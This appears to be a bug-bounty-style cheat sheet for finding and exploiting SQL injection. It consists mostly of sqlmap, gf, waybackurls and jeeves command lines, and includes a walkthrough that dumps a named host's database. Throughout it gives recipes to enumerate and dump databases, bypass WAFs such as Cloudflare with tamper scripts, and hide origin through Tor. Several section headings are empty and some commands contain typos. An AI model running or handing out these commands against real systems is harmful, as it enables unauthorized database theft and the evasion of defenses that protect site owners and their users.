-------------------------------------------------------------
-------------------------------------------------------------
Automated SQL INJECTION Finding Waybackurls | SQLMAP
/root/go/bin/waybackurls http://testphp.vulnweb.com >> /home/kali/file.txt
cat /home/kali/file.txt | /root/go/bin/gf sqli
sqlmap -m sqlitest.txt --level 5 --risk 3 --batch --dbs --tamper=between
-------------------------------------------------------------
PHP EAR (Execute After Redirect) To SQLi
Found PHP EAR Vulnerability by checking the content leanth on ffuf results.
Added Match and Replace Location Header rule in Burp Suite to Stop the Redirect to Login Page.
Found an employee search page. (Access Control issue)
Employee search page was Vulnerable to SQLi.
Run sqlmap and Dumped the database.
ffuf -u https://bsides.kuldeep.io/FUZZ.php -w raft-small-words.txt -fc 403
add Match and Replace Rule to remove Location Header in Response body
Match: Location: index.php
sqlmap -u http://bsides.kuldeep.io/esearch.php --method POST --data search_term=1
sqlmap -u http://bsides.kuldeep.io/esearch.php --method POST --data search_term=1 --dbs
-------------------------------------------------------------
Automated SQL INJECTION Finding using | Jeeves
echo "https://exampl.com" | gf sqli | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 10
(1) One-Liner SQLi Finding
-------------------------------------------------------------
(2) One-Liner SQLi Finding
------------------------------------------------------------
(3) One-Liner SQLi-TimeBased Finding
------------------------------------------------------------
(4) One-Liner Subdomains SQLI Finding
------------------------------------------------------------
Bypass WAF using TOR
-----------------------------------------------------------
Steps to Produce Commands to Sqlmap
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D (DB Name) --tables
sqlmap -r request.txt -D (DB Name) -T (Table Name) --dump
-----------------------------------------------------------
SQLI Paylods Wordlist
----------------------------------------------------------
What's your flow for the detection SQLI
I tried many ways but was unsuccessful.
1. use the burp live scanner only to check sqli
2. use time base payload list on burp intruder and check the length/response complete/etc
3. Capture the requests that might be interesting and directly put them in sqlmap
-----------------------------------------------------------
Test SQLi GET, POST URL, Cookie, User-Agent, X-Forwaded-For Custom Harder in Request
Try Sqlmap --wizard
sqlmap -r loginRequest.txt -p username
sqlmap -r request.txt --level 3 --risk 2 -p number -a
-----------------------------------------------------------
(Blind SQLI) SQLMAP Bypass Cloudflare WAF - Database Takeover
sqlmap -r request.txt --dbs --risk=1 --level=3 --temper=between,tofla
-----------------------------------------------------------
SQLMap Tamper Scripts (SQL Injection and WAF bypass)
These are some targeted tamper sets by DBMS type, good to have handy when testing;
General Tamper testing:
MSSQL:
MySQL:
-----------------------------------------------------------
What I use for MySQL Enumeration and DB hacking is:
-(minus minus-tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
If you have any issues make sure your setting these values:
–level 3
–risk 3
–flush-session
–random-agent ← This is almost critical from my exp.
Remember, always try to point sqlmap to a specific GET parameter with ‘-p <paramname’
for instance if URL Example Domain 70
sqlmap -p item
One additional thing that has helped me, is add -a at the end, so it dumps anything it finds in the DB
-----------------------------------------------------------
# Bypass WAF SQLMAP
sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs $ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --dbs $ sqlmap -u "Target.com" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs
sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --dbs --technique=T $ sqlmap -u "sitetarget.com/admin/login_action" method="POST" --data="uname=admin*&pass=admin&captcha=123456" --cookie="input cookie" --headers="input field header" --dbs --technique=T
Example Bypass WAF SQLMap New Version Update :
sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs $ sqlmap -u "Target.com" --random-agent -v 3 --dbs $ sqlmap -u "Target.com" --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -u "http://sitetarget.com/login" --data="userid=admin&passwd=admin" --method POST --random-agent -v 3 --tamper="between,randomcase,space2comment" --level=5 --risk=3 --dbs $ sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbs
example dump DB use POC HTTP post request :
sqlmap -r poc.txt --threads=10 --random-agent --level=5 --risk=3 --tamper=space2comment,between --dbms=MySQL -D database_target --tables
example WAF Header :
sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --drop-set-cookie --dbms=mysql --dbs $ sqlmap -u https://target.com/vote/check_vote.php --headers="X-Forwarded-For:1*" -p X-Forwarded-For --level=5 --risk=3 --tamper="space2comment,between,randomcase" --technique="BEUST" --no-cast --random-agent --dbs
example WAF CloudFlare use proxy Tor default :
sqlmap -u "https://target.com" --data="id=63665%20RLIKE%20-bla-blablabla" --time-sec=20 --random-agent --level=5 --risk=3 --tamper="space2comment,between,randomcase,charencode" --technique=BEUST --privileges --no-cast --tor --tor-port=9050 --tor-type=socks5 --check-tor --banner --union-char=1 --dbms=MySQL --dbs
-----------------------------------------------------------
Login Page Exploit Method